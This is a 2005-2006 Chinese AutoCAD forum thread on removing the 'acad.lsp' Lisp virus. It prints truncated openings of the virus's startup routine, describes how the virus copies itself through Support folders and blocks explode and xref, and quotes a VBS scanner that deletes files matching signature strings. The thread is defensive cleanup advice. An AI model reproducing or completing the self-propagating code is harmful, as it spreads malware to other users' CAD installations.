[公告]：关于新的Lisp恶意代码及处理方法

ll_j · 发表于 2005-11-9 11:29:12

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

您需要登录才可以下载或查看，没有账号？立即注册

×

新近流行的“acad.lsp”病毒（恶意代码），是老的恶意代码的变种，主要是将老的恶意代码与一些自定义Lsp文件及R14的AC_BONUS.lsp合并，文件大小66k，文件内容如下：

(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
)
(setq old_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq path (findfile "base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq mnlpath (getvar "menuname"))
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq acadpath (findfile "acad.lsp"))
(setq acadpath (substr acadpath 1 (- (strlen acadpath) 8)))
(setq ns1 ""
ns2 ""
)
(setq lspbj 0)
(setq wjqm (strcat path "acad.lsp"))
(if (setq wjm (open wjqm "r"))
(progn (while (setq wz (read-line wjm))
(setq ns1 ns2)
(setq ns2 wz)
)
(if (> (strlen ns1) 14)
(if (= (substr ns1 8 7) "acadiso")
... ;以下略

病毒主要有以下特征：
1.分解（炸开，explode）、外部参照（xref）、绑定（xbind）命令被屏蔽；
2.双击打开图形时，在图形目录下产生“acad.lsp”，内容为“(load "acadiso")”；
3.在“acad.dcl”目录（一般为：[acadpath]\support\）下产生“acadiso.lsp”，内容如前面的代码，同时可能产生相同内容的“acad.lsp”；
4.病毒同时定义了几个简化命令：

BB、BR——break
CC——copy
DD——ddatte
D——dist
DT——dtext

复制代码

请大家全面搜索自己的电脑，发现病毒文件予以删除，需要删除的文件有：
1.内容同上的“acad.lsp”（66k）；
2.内容同上的“acadiso.lsp”（66k）；
3.内容包含“(load "acadiso")”的“acad.lsp”（1k）。

老版本的“acad.lsp”病毒的处理：
老版本“acad.lsp”病毒，文件大小3k，文件内容如下：

(defun
s::startup
(/
old_cmd
path
dwgpath
mnlpath
apppath
oldacad
newacad
nowdwg
lspbj
wjm
wjm1
wjqm
wjqm1
wz
ns1
ns2)
(setq
old_cmd
(getvar
"cmdecho"))
(setvar
"cmdecho"
0)
(setq
path
(findfile
"base.dcl"))
(setq
path
(substr
path
1
(-
(strlen
path)
8)))
...以下略

病毒主要有以下特征：
1.分解（炸开，explode）、外部参照（xref）、绑定（xbind）命令被屏蔽；
2.双击打开图形时，在图形目录下产生“acad.lsp”，内容为“(load "acadapp")”；
3.在“acad.dcl”目录（一般为：[acadpath]\support\）下产生“acadapp.lsp”，内容如前面的代码，同时可能产生相同内容的“acad.lsp”；
搜索自己的电脑，发现病毒文件予以删除，需要删除的文件有：
1.内容同上的“acad.lsp”（3k）；
2.内容同上的“acadapp.lsp”（3k）（注意：不是“acadapp.arx”）；
3.内容包含“(load "acadapp")”的“acad.lsp”（1k）。

一些恶意代码不完整复制，文件大小不足，运行时还可能出现如“错误: 参数类型错误: stringp nil ”或类似的错误。

老版本的“acad.lsp”病毒还可以使用“秋枫”斑竹的[B]AutoCAD中图块炸不开的最终解决程序[/B]直接清除。程序使用VBA脚本语言编制，需要在安装Acad2000或Offices2000等支持VBA的软件的系统中才可以运行。
前几天将程序修改了一下，可以清除新的恶意代码。本人只有一点BASIC基础，不太懂VBA的编程，如果可能，还请秋枫斑竹能抽时间看一下，希望不要有“副作用”。

hooyd · 发表于 2005-11-9 13:51:11

更正一下，“秋枫”斑竹的程序是用vbs做的，呵呵

徐晨曦 · 发表于 2005-11-23 14:40:42

怎么删不干净 ,过段时间又有

e2002 · 发表于 2005-11-24 09:13:52

这个都流传到南京了啊。。。

我以前在lisp班贴了一次，看来没什么人注意到了哦.

e2002 · 发表于 2005-11-24 09:21:44

////////感染方式///////////
如果文件夹内有这个带毒的acad.lsp ,且用户打开了这个文件夹内的dwg文件,即会在当前用户所使用的AutoCAD 的support文件夹
(通常是 C:\Documents and Settings\<用户登录名>\Application Data\Autodesk\AutoCAD 2006<或2002,2004,2005>/\R16.2<或16.0,16.1,16.2>\enu<或chs>\Support)
中的原有acad.lsp最后加上 :
(load "acadiso.lsp)
(princ)

并创建一个带毒的复制品 acadiso.lsp

////////////消灭病毒的方法////////////////

检查自己的 AutoCAD 用户的Support 文件夹中是否有acad.lsp和acadiso.lsp
如果存在,
1. 检查acad.lsp,去除最后的从(load "acadiso.lsp")开始的后面的所有内容.
2. 删除acadiso.lsp 文件
3. 搜索本机上硬盘内的所有acad.lsp,如果发现其大小为22539字节,即可全部删除之.

如果不放心怕删错,可以用记事本打开文件,如果开头是 :
(defun s::startup (/ old_cmd path dwgpath mnlpath apppath oldacad
newacad nowdwg lspbj wjm wjm1 wjqm wjqm1 wz ns1 ns2
)

那就一定是了!

4. 检查自己在服务器上存储的文件夹内是否还有这样的带毒的acad.lsp,发现并删除之!

///////////防止感染的注意事项////////
1. 不要直接打开别人共享文件夹中的dwg文件,应该先复制到本机
2. 不要轻率的带文件夹复制别人的文件,一定要检查其中是否有带毒的acad.lsp

幽谷 · 发表于 2005-11-24 09:25:52

太需要了，因为偶中了~~

它山之石 · 发表于 2005-11-24 10:35:44

俺暂时还没见到这个新的“病毒”。
不知这个东东能否搞掉它。

它山之石 · 发表于 2005-11-24 10:42:50

程序

它山之石 · 发表于 2005-11-24 10:43:59

lyg1983 · 发表于 2005-12-17 10:39:43

谢谢了,工具已经接收,很好用

lzws03 · 发表于 2006-1-3 12:35:44

ll-j 老兄，我的操作平台为WINXP＋AUTOCAD2004中文版　　，我的机子上感染的ACAD.LSP病毒大小为9K，用您在秋枫老兄原作基础上修改的　CheckLsp.wsf　程序后不能查找到这此大小为9K的病毒文件，我想这个程序可能只能够查杀原来大小为3K的病毒文件和您所说的66K大小的文件吧。您的意见呢？（不知道您这个程序在正常运行AUTOCAD时能否杀净机器中存在的CAD病毒呢？）

e2002版主说的那种手工清除CAD的方法确实管用，但就是麻烦了些，显得不够“傻瓜”，呵呵... 但养成一个好习惯总是好事。

它山之石　老兄推荐的那款　浩辰出品的　　AUTOCAD L1101病毒专杀工具　也不能够查杀这个大小为9K的病毒文件。请想用程序的朋友们另想它法。

vriter · 发表于 2006-1-3 13:30:09

虽然我的金币不够，下载不了文件。
但手动的也很好用！
谢谢！

秋枫 · 发表于 2006-1-6 21:14:43

这个所谓的查杀程序比较简单。首先是找硬盘中特定文件名的文件，收集好后，再一个一个看，如果发现这些文件中含有特定的特征字符串就认为是病毒否则认为不是病毒。

另简单说明一下如何修改这个vbs程序以对付新品种：

主要是修改这两个循环：

For Each curDrive In oDrive ' All drive objects
if curDrive.DriveType = Fixed Then ' 只查找硬盘中的文件
WScript.StdOut.WriteLine "Scanning " & curDrive.DriveLetter & ":\..."
CmdLine = """%comspec%"" /c dir /b/s " & curDrive.DriveLetter & ":\acad.lsp >> " &_
"""" & TempFileName & """"
WshShell.Run CmdLine, 0, True
CmdLine = """%comspec%"" /c dir /b/s " & curDrive.DriveLetter & ":\acadapp.lsp >> " &_
"""" & TempFileName & """"
WshShell.Run CmdLine, 0, True
[color=green] '在这个IF语句中添加下面这段，多个文件添加多段[/color]
[color=red] CmdLine = """%comspec%"" /c dir /b/s " & curDrive.DriveLetter & ":\新病毒的特定文件名 >> " &_
"""" & TempFileName & """"
WshShell.Run CmdLine, 0, True
[/color]
end If
Next

复制代码

For Each fname In fList
If ChkStr(fname, """ACADAPP.LSP""") _
Or ChkStr(fname, "(LOAD" & VbCrLf & """ACADAPP"")") _
[color=green]
'前面循环中指定的文件中有特征的字符串在这里判断。
'如果发现有这个字符串就认为是病毒。如果有新的特征在这里加一个Or Chkstr(***)
'在ChkStr函数中判断
'比如下面这句就是检查上述的LSP文件中有(load"acadiso")字串，如果有的话就认为是病毒
[/color]
[color=red] Or ChkStr(fname, "(load""acadiso"")") _[/color]
Or ChkStr(fname, "(defun s::startup (/ old_cmd path dwgpath") _
Then
WScript.StdOut.Write "删除 " & fname & "..."
fso.DeleteFile fname, True
WScript.StdOut.WriteLine "OK!"
End If
Next

新的已经修改好的文件附在这里了：
http://p4.xdcad.net/forum/showth ... 2519886#post2519886

marcol · 发表于 2006-1-6 22:24:07

嘿。。。上次发现一个新拷的图旁边有这么个文件，我凭知觉就给他删了。。险哪。。。

lzws03 · 发表于 2006-1-8 13:42:55

秋枫大侠在这帖子里给出了专杀工具，希望能广为传播，为更多的兄弟们解决问题。
http://www.xdcad.net/forum/showthread.php?s=&threadid=507734

请问这个后缀为 vbs 的程序如何运行呀？

账号		自动登录	找回密码
密码			立即注册

[公告]：关于新的Lisp恶意代码及处理方法

马上注册，结交更多好友，享用更多功能，让你轻松玩转社区。

相关帖子